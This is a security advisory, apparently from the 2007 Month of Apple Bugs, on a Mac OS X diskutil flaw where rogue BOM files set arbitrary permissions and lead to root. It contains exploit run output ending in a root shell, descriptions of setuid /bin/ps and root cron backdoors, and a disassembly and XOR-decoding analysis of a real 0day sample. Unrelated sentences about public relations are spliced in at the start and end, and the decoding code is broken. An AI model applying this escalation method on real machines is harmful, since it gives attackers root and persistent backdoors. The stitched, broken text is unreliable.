PR is all about attitude manipulation. Oh, jesus!

Artwork by GC.


Apple DiskManagement.framework is the back-end for the ' diskutil' tool, used to perform disk/file system maintenance tasks. One of these tasks, permissions repair, involves the usage of BOM ( Bill Of Materials) files, which declare the default file permissions and owner (among other attributes), on package-basis.

A vulnerability in the handling of BOM files allows to set rogue permissions on the filesystem via the 'diskutil' tool. This can be used to execute arbitrary code and escalate privileges. A malicious user could create a BOM declaring new permissions for specific filesystem locations (ex. binaries, cron and log directories, etc). Once 'diskutil' runs a permission repair operation the rogue permissions would be set, allowing to plant a backdoor, overwrite resources or simply gain root privileges.

Permissions available in BOM files aren't validated, and no sanity testing is performed, in order to prevent potentially harmful attributes to be set on the filesystem.

This issue is being actively exploited in-the-wild and we would like to thank an anonymous contributor for bringing the 0-day to our attention, taking advantage of this issue.

Affected versions

This issue has been verified in DiskManagement 92.29 (version from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/Info.plist), and Mac OS X 10.4.8 (8L2127). Previous versions should be affected. This issue is architecture independent (affects both PPC and Intel).

Proof of concept, exploit or instructions to reproduce

The provided exploits can be configured to perform any operation of your choice. The first exploit overwrites /bin/ps or a file of your choice with another binary, sets it setuid bit and makes it world writable. The other exploit sets rogue permissions in the crontab directory, and creates a malicious set of cron tasks for the root user (which obviously will run under root privileges).

The BOM being overwritten with the rogue one is /Library/Receipts/Essentials.pkg/Contents/ .

$ ruby bug-files/MOAB-05-01-2007_cron.rb 
++ Dropping the 31337 .sh skillz
++ Fixing up crontabs
++ Execute
Started verify/repair permissions on disk disk0s2 Macintosh HD
Determining correct file permissions.
parent directory ./Users/Shared/SC Info does not exist
User differs on ./private/var/cron/tabs, should be 0, owner is 501
Permissions differ on ./private/var/cron/tabs, should be drwxr-xr-x , they are drwxrwxrwx 
Owner and group corrected on ./private/var/cron/tabs
Permissions corrected on ./private/var/cron/tabs
User differs on ./private/var/cron, should be 0, owner is 501
Owner and group corrected on ./private/var/cron
Permissions corrected on ./private/var/cron
User differs on ./private/var, should be 0, owner is 501
Owner and group corrected on ./private/var
Permissions corrected on ./private/var
User differs on ./var/cron/tabs, should be 501, owner is 0
Permissions differ on ./var/cron/tabs, should be drwxrwxrwx , they are drwxr-xr-x 
Owner and group corrected on ./var/cron/tabs
Permissions corrected on ./var/cron/tabs
User differs on ./var/cron, should be 501, owner is 0
Owner and group corrected on ./var/cron
Permissions corrected on ./var/cron
User differs on ./var, should be 501, owner is 0
Owner and group corrected on ./var
Permissions corrected on ./var
The privileges have been verified or repaired on the selected volume
Verify/repair finished permissions on disk disk0s2 Macintosh HD
$ /Users/Shared/shX 
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
sh-2.05b# ps    
  260  p1  Ss     0:00.02 login -pf lmh
  934  p1  S      0:00.00 /Users/Shared/shX
  935  p1  S      0:00.02 /bin/sh -i
  938  p1  R+     0:00.00 ps
   31  ??  S+     0:00.00 /usr/libexec/ipfwloggerd

A repair option is provided, and the exploit will try to back-up any files to be overwritten at /Users/Shared. Simply pass the repair argument: ruby bug-files/MOAB-05-01-2007_cron.rb repair.

Debugging information

The following information is related to the original 0day sample we received.

$ file /Volumes/VX/meow
/Volumes/VX/meow: Mach-O universal binary with 2 architectures
/Volumes/VX/meow (for architecture ppc):   Mach-O executable ppc
/Volumes/VX/meow (for architecture i386):  Mach-O executable i386
$ file /Volumes/VX/meow.x86 
/Volumes/VX/meow.x86: Mach-O executable i386
$ strings /Volumes/VX/meow.x86 

In the original 0day, the strings have been obfuscated using the good old XOR trick, probably made popular by GriYo/29a (in Cholera.c). Basically, we XOR each character of the string with a key of our choice (the key used here is 0xbd). On runtime, we decode them by iterating through the string characters and XOR'ing them again (1 ^ 1 = 0; 0 ^ 1 = 1). We'll be using a short piece of Ruby code to decode streams in the binary (lucky IDA Pro license owners can do this with IDA scripting):

$ cd /Volumes/VX/backup && cat xor_decode.rb
class String
def ^ string
length.times {|x|
self[x] = self[x] ^ string[x % string.length]
end'../meow.x86').split(//).each do |k|
  print(k ^ [0xbd].pack("V"))
$ ruby xor_decode.rb | strings
/usr/sbin/diskutil repairPermissions /

There we go. Now let's do some disassemble fun (Disclaimer: due to lack of time, I'm doing it on IDA, as it's mach-o loader rocks. Ilfak is The Man). You can use gdb or otool -tv to work with it as well (or ask your manager for a IDA Pro Advanced license, it's worth the bucks):

mov     ecx, ds:dword_AA00
xor     edx, edx
mov     eax, 0AA04h
jmp     short loc_1C00

xor     byte ptr [eax-1], 0BDh ; good old XOR swap, key = 0xbd
add     edx, 1

add     eax, 1
cmp     edx, ecx
jl      short xor_decode_1
mov     ecx, ds:dword_A9C4
xor     edx, edx
mov     eax, 0A9C8h     ; lib path
jmp     short loc_1C1D

xor     byte ptr [eax-1], 0BDh                                               
add     edx, 1

Decodes the strings on runtime. Simple enough. Actually they could have used some other tricks to avoid the overkill usage of XOR, but that's a whole new story. Let's look over the real fun (so far, we know it involves /bin/sh, /bin/ps, a BOM file and diskutil repairPermissions):

mov     [esp+98h+var_98], 0
call    _dup_stub
mov     [ebp+var_84], eax
mov     [esp+98h+var_98], 1
call    _dup_stub
mov     [ebp+var_80], eax
mov     [esp+98h+var_98], 2
call    _dup_stub
mov     [ebp+var_7C], eax
mov     [esp+98h+var_98], 0
call    _close_stub
mov     [esp+98h+var_98], 1
call    _close_stub
mov     [esp+98h+var_98], 2
call    _close_stub
mov     [esp+98h+var_94], 0A9C8h ; the path to
mov     [esp+98h+var_98], 0AA04h
call    _rename_stub
mov     [esp+98h+var_90], 1FFh
mov     [esp+98h+var_94], 202h
mov     [esp+98h+var_98], 0AA04h
call    _open_stub
mov     ebx, eax
mov     [esp+98h+var_94], 1B4h
mov     [esp+98h+var_98], 0AA04h
call    _chmod_stub				 ; set permissions
test    ebx, ebx
js      short loc_1DE3
mov     eax, ds:off_2064
mov     [esp+98h+var_90], eax
mov     [esp+98h+var_94], 2068h ; the rogue BOM file, hard coded ;-)
mov     [esp+98h+var_98], ebx
call    _write_stub				; write our BOM...
mov     [esp+98h+var_98], ebx
call    _close_stub

Overwrites the original with it's rogue version (see 'Exploitation conditions' section for a dump of it's contents using lsbom). This is the first step for being able to plant the backdoor at /bin/ps.

mov     [esp+98h+var_98], 203Ch
call    _system_stub			; run diskutil repair perms
mov     [esp+98h+var_94], 0
mov     [esp+98h+var_98], 2030h ; /bin/ps
call    _open_stub      		; open /bin/ps
mov     esi, eax
mov     [esp+98h+var_90], 1FFh
mov     [esp+98h+var_94], 202h
mov     [esp+98h+var_98], 2020h ; /tmp/ps2
call    _open_stub      		; open /tmp/ps2
mov     [esp+98h+var_90], eax
mov     [esp+98h+var_8C], edx
mov     [esp+98h+var_94], ebx
mov     [esp+98h+var_98], edi
call    _write_stub

Runs diskutil to set rogue permissions, and writes the original contents of /bin/ps into /tmp/ps2.

mov     [esp+98h+var_94], 0
mov     edx, [ebp+arg_4]
mov     eax, [edx]
mov     [esp+98h+var_98], eax
call    _open_stub
mov     esi, eax
mov     [esp+98h+var_94], 2
mov     [esp+98h+var_98], 2030h ; /bin/ps
mov     eax, [ebp+var_48]
mov     edx, [ebp+var_44]
mov     [esp+98h+var_90], eax
mov     [esp+98h+var_8C], edx
mov     [esp+98h+var_94], ebx
mov     [esp+98h+var_98], edi
call    _write_stub
mov     [esp+98h+var_98], ebx
call    _free_stub

Overwrites poor /bin/ps with /bin/sh, and finally:

mov     [esp+98h+var_98], 203Ch	 ; diskutil repairPermissions /
call    _system_stub
mov     [esp+98h+var_98], 0AA04h
call    _unlink_stub
mov     [esp+98h+var_94], 0AA04h
mov     [esp+98h+var_98], 0A9C8h
call    _rename_stub			  ; is back
mov     [esp+98h+var_94], 0
mov     edi, [ebp+var_84]
mov     [esp+98h+var_98], edi
call    _dup2_stub
mov     [esp+98h+var_94], 1
mov     eax, [ebp+var_80]
mov     [esp+98h+var_98], eax
call    _dup2_stub
mov     [esp+98h+var_94], 2
mov     edx, [ebp+var_7C]
mov     [esp+98h+var_98], edx
call    _dup2_stub
mov     [esp+98h+var_98], 2030h		; /bin/ps
call    _system_stub				; pwned

.../bin/ps has been replaced by the backdoor and the new permissions (setuid root, world-writable) have been set. At that point, you bless the pwnage overlords.


Exploitation conditions

Privileges for overwriting a BOM inside /Library/Receipts/ are necessary (ex. users in the admin group are allowed to do it). Any of the files being read by DiskManagementTool are suitable for replacement. See a list of them in the bottom of this page. Note that this requirement doesn't mean it can't be used in a different manner (ex. via rogue Installer packages, as payload for another issue compromising an user account). We know the usual zealot might start ranting about this (although they will doubtfully be able to read to this point). That's not the idea around this issue (but a vector to show how it can be abused). If you still don't understand the concept, please read this again from the beginning or fuck off.

Once the malicious BOM is installed, running diskutil is necessary for setting the rogue permissions:

$ diskutil repairPermissions /

And the target filesystem locations will be modified with the new attributes. For listing the BOM changes, the tool lsbom can be used:

$ lsbom bug-files/ -p FUGM
"."     root    admin   drwxrwxr-t 
"./bin" root    wheel   drwxr-xr-x 
"./bin/ps"      root    wheel   -rwsrwxrwx 

The above BOM file is actually the one used by the original 0day (meow), which used /bin/ps for a backdoor shell, copying the real ps binary to /tmp/ps2.

Workaround or temporary solution

Remove the setuid bit from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/DiskManagementTool.

$ sudo chmod -s (...)/DiskManagement.framework/Resources/DiskManagementTool
.... is about the biggest organization in the public relations field. This means that its business is the development of techniques for manipulating people's attitudes.

Also, verify that none of these BOM files have been replaced (compare SHA-1 hash to a pristine installation) or tampered in some manner: